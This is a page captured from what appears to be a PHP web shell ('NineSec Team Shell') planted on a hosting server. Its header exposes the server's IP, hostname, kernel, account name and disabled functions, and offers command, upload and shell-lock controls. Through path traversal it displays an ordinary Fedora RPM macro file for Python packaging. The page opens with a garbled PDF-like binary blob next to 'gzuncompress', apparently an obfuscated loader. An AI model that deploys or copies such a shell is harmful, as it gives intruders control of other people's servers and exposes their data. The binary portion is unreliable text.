%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 82.180.170.48  /  Your IP : 216.73.216.202
Web Server : LiteSpeed
System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : u636808025 ( 636808025)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/../dev/../proc/../lib/grub/../rpm/macros.d/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../dev/../proc/../lib/grub/../rpm/macros.d/macros.python-srpm
# There are multiple Python 3 versions packaged, but only one can be the "main" version
# That means that it owns the "python3" namespace:
#     - python3 package name
#     - /usr/bin/python3 command
#     - python3-foo packages are meant for this version
# Other versions of Python 3 always contain the version in the namespace:
#     - python3.XX package name
#     - /usr/bin/python3.XX command
#     - python3.XX-foo packages (if allowed)
#
# Python spec files use the version defined here to determine defaults for the
# %%py_provides and %%python_provide macros, as well as for the "pythonname" generator that
# provides python3-foo for python3.XX-foo and vice versa for the default "main" version.
# E.g. in Fedora 33, python3.9-foo will provide python3-foo,
#                    python3-foo will provide python3.9-foo.
#
# There are two macros:
#
# This always contains the major.minor version (with dots), default for %%python3_version.
%__default_python3_version 3.9
#
# The pkgname version that determines the alternative provide name (e.g. python3.9-foo),
# set to the same as above, but historically hasn't included the dot.
# This is left intentionally a separate macro, in case the naming convention ever changes.
%__default_python3_pkgversion %__default_python3_version

# python3_pkgversion specifies the version of Python 3 in the distro.
# For Fedora, this is usually just "3".
# It can be a specific version distro-wide (e.g. "36" in EPEL7).
# Alternatively, it can be overridden in spec (e.g. to "3.8") when building for alternate Python stacks.
%python3_pkgversion 3

# Define the Python interpreter paths in the SRPM macros so that
# - they can be used in Build/Requires
# - they can be used in non-Python packages where requiring pythonX-devel would
#   be an overkill

# use the underscored macros to redefine the behavior of %%python3_version etc.
%__python2 /usr/bin/python2
%__python3 /usr/bin/python%{python3_pkgversion}

# use the non-underscored macros to refer to Python in spec, etc.
%python2 %__python2
%python3 %__python3

# See https://fedoraproject.org/wiki/Changes/PythonMacroError
%__python %{error:attempt to use unversioned python, define %%__python to %{__python2} or %{__python3} explicitly}

# Users can use %%python only if they redefined %%__python (e.g. to %%__python3)
%python %__python

# Define where Python wheels will be stored and the prefix of -wheel packages
# - In Fedora we want wheel subpackages named e.g. `python-pip-wheel` that
#   install packages into `/usr/share/python-wheels`. Both names are not
#   versioned, because they're used by all Python 3 stacks.
# - In RHEL we want wheel packages named e.g. `python3-pip-wheel` and
#   `python3.11-pip-wheel` that install packages into similarly versioned
#   locations. We want each Python stack in RHEL to have their own wheels,
#   because the main python3 wheels (which we can't upgrade) will likely be
#   quite old by the time we're adding new alternate Python stacks.
# - In ELN we want to follow Fedora, because builds for ELN and Fedora rawhide
#   need to be interoperable.
%python_wheel_pkg_prefix python%{?rhel:%{!?eln:%{python3_pkgversion}}}
%python_wheel_dir %{_datadir}/%{python_wheel_pkg_prefix}-wheels

# === Macros for Build/Requires tags using Python dist tags ===
# - https://fedoraproject.org/wiki/Changes/Automatic_Provides_for_Python_RPM_Packages
# - These macros need to be in macros.python-srpm, because BuildRequires tags
#   get rendered as runtime requires into the metadata of SRPMs.

# Converts Python dist name to a canonical format
%py_dist_name() %{lua:\
        name = rpm.expand("%{?1:%{1}}");\
        canonical = string.gsub(string.lower(name), "[^%w%[%]]+", "-");\
        print(canonical);\
}

# Creates Python 2 dist tag(s) after converting names to canonical format
#   Needs to first put all arguments into a list, because invoking a different
#   macro (%%py_dist_name) overwrites them
%py2_dist() %{lua:\
        args = {}\
        arg = 1\
        while (true) do\
                name = rpm.expand("%{?" .. arg .. ":%{" .. arg .. "}}");\
                if (name == nil or name == '') then\
                        break\
                end\
                args[arg] = name\
                arg = arg + 1\
        end\
        for arg, name in ipairs(args) do\
                canonical = rpm.expand("%py_dist_name " .. name);\
                print("python2dist(" .. canonical .. ") ");\
        end\
}

# Creates Python 3 dist tag(s) after converting names to canonical format
#   Needs to first put all arguments into a list, because invoking a different
#   macro (%%py_dist_name) overwrites them
%py3_dist() %{lua:\
        python3_pkgversion = rpm.expand("%python3_pkgversion");\
        args = {}\
        arg = 1\
        while (true) do\
                name = rpm.expand("%{?" .. arg .. ":%{" .. arg .. "}}");\
                if (name == nil or name == '') then\
                        break\
                end\
                args[arg] = name\
                arg = arg + 1\
        end\
        for arg, name in ipairs(args) do\
                canonical = rpm.expand("%py_dist_name " .. name);\
                print("python" .. python3_pkgversion .. "dist(" .. canonical .. ") ");\
        end\
}

# Macro to replace overly complicated references to PyPI source files.
# Expands to the pythonhosted URL for a package
# Accepts zero to three arguments:
# 1:  The PyPI project name, defaulting to %%srcname if it is defined, then
#     %%pypi_name if it is defined, then just %%name.
# 2:  The PYPI version, defaulting to %%version with tildes stripped.
# 3:  The file extension, defaulting to "tar.gz".  (A period will be added
#     automatically.)
# Requires %%__pypi_url and %%__pypi_default_extension to be defined.
%__pypi_url https://files.pythonhosted.org/packages/source/
%__pypi_default_extension tar.gz

%pypi_source() %{lua:
    local src = rpm.expand('%1')
    local ver = rpm.expand('%2')
    local ext = rpm.expand('%3')
    local url = rpm.expand('%__pypi_url')
\
    -- If no first argument, try %srcname, then %pypi_name, then %name
    -- Note that rpm leaves macros unchanged if they are not defined.
    if src == '%1' then
        src = rpm.expand('%srcname')
    end
    if src == '%srcname' then
        src = rpm.expand('%pypi_name')
    end
    if src == '%pypi_name' then
        src = rpm.expand('%name')
    end
\
    -- If no second argument, use %version
    if ver == '%2' then
        ver = rpm.expand('%version'):gsub('~', '')
    end
\
    -- If no third argument, use the preset default extension
    if ext == '%3' then
        ext = rpm.expand('%__pypi_default_extension')
    end
\
    local first = string.sub(src, 1, 1)
\
    print(url .. first .. '/' .. src .. '/' .. src .. '-' .. ver .. '.' .. ext)
}

%py_provides() %{lua:
    local python = require 'fedora.srpm.python'
    local rhel = rpm.expand('%{?rhel}')
    local name = rpm.expand('%1')
    if name == '%1' then
        rpm.expand('%{error:%%py_provides requires at least 1 argument, the name to provide}')
    end
    local evr = rpm.expand('%2')
    if evr == '%2' then
        evr = rpm.expand('%{?epoch:%{epoch}:}%{version}-%{release}')
    end
    print('Provides: ' .. name .. ' = ' .. evr .. '\\n')
    local provides = python.python_altprovides(name, evr)
    for i, provide in ipairs(provides) do
        print('Provides: ' .. provide .. '\\n')
    end
    -- We only generate these Obsoletes on CentOS/RHEL to provide clean upgrade
    -- path, e.g. python3-foo obsoletes python39-foo from previous RHEL.
    -- In Fedora this is not needed as we don't ship ecosystem packages
    -- for alternative Python interpreters.
    if rhel ~= '' then
        -- Create Obsoletes only if the name does not end in a parenthesis,
        -- as Obsoletes can't include parentheses.
        -- This most commonly happens when the name contains an isa.
        if (string.sub(name, "-1") ~= ")") then
            local obsoletes = python.python_altobsoletes(name, evr)
            for i, obsolete in ipairs(obsoletes) do
                print('Obsoletes: ' .. obsolete .. '\\n')
            end
        end
    end
}

%python_extras_subpkg(n:i:f:FaA) %{expand:%{lua:
    local option_n = '-n (name of the base package)'
    local option_i = '-i (buildroot path to metadata)'
    local option_f = '-f (builddir path to a filelist)'
    local option_F = '-F (skip %%files section)'
    local option_a = '-a (insert BuildArch: noarch)'
    local option_A = '-A (do not insert BuildArch: noarch (default))'
    local value_n = rpm.expand('%{-n*}')
    local value_i = rpm.expand('%{-i*}')
    local value_f = rpm.expand('%{-f*}')
    local value_F = rpm.expand('%{-F}')
    local value_a = rpm.expand('%{-a}')
    local value_A = rpm.expand('%{-A}')
    local args = rpm.expand('%{*}')
    if value_n == '' then
        rpm.expand('%{error:%%%0: missing option ' .. option_n .. '}')
    end
    if value_i == '' and value_f == '' and value_F == '' then
        rpm.expand('%{error:%%%0: missing option ' .. option_i .. ' or ' .. option_f .. ' or ' .. option_F .. '}')
    end
    if value_i ~= '' and value_f ~= '' then
        rpm.expand('%{error:%%%0: simultaneous ' .. option_i .. ' and ' .. option_f .. ' options are not possible}')
    end
    if value_i ~= '' and value_F ~= '' then
        rpm.expand('%{error:%%%0: simultaneous ' .. option_i .. ' and ' .. option_F .. ' options are not possible}')
    end
    if value_f ~= '' and value_F ~= '' then
        rpm.expand('%{error:%%%0: simultaneous ' .. option_f .. ' and ' .. option_F .. ' options are not possible}')
    end
    if value_a ~= '' and value_A ~= '' then
        rpm.expand('%{error:%%%0: simultaneous ' .. option_a .. ' and ' .. option_A .. ' options are not possible}')
    end
    if args == '' then
        rpm.expand('%{error:%%%0 requires at least one argument with "extras" name}')
    end
    local requires = 'Requires: ' .. value_n .. ' = %{?epoch:%{epoch}:}%{version}-%{release}'
    for extras in args:gmatch('[^%s,]+') do
        local rpmname = value_n .. '+' .. extras
        local pkgdef = '%package -n ' .. rpmname
        local summary = 'Summary: Metapackage for ' .. value_n .. ': ' .. extras .. ' extras'
        local description = '%description -n ' .. rpmname .. '\\\n'
        local current_line = 'This is a metapackage bringing in'
        for _, word in ipairs({extras, 'extras', 'requires', 'for', value_n .. '.'}) do
          local line = current_line .. ' ' .. word
          if line:len() > 79 then
            description = description .. current_line .. '\\\n'
            current_line = word
          else
            current_line = line
          end
        end
        description = description .. current_line .. '\\\n' ..
                      'It makes sure the dependencies are installed.\\\n'
        local files = ''
        if value_i ~= '' then
            files = '%files -n ' .. rpmname .. '\\\n' .. '%ghost ' .. value_i
        elseif value_f ~= '' then
            files = '%files -n ' .. rpmname .. ' -f ' .. value_f
        end
        local tags = summary .. '\\\n' .. requires
        if value_a ~= '' then
            tags = tags .. '\\\nBuildArch: noarch'
        end
        for i, line in ipairs({pkgdef, tags, description, files, ''}) do
            print(line .. '\\\n')
        end
    end
}}

NineSec Team - 2022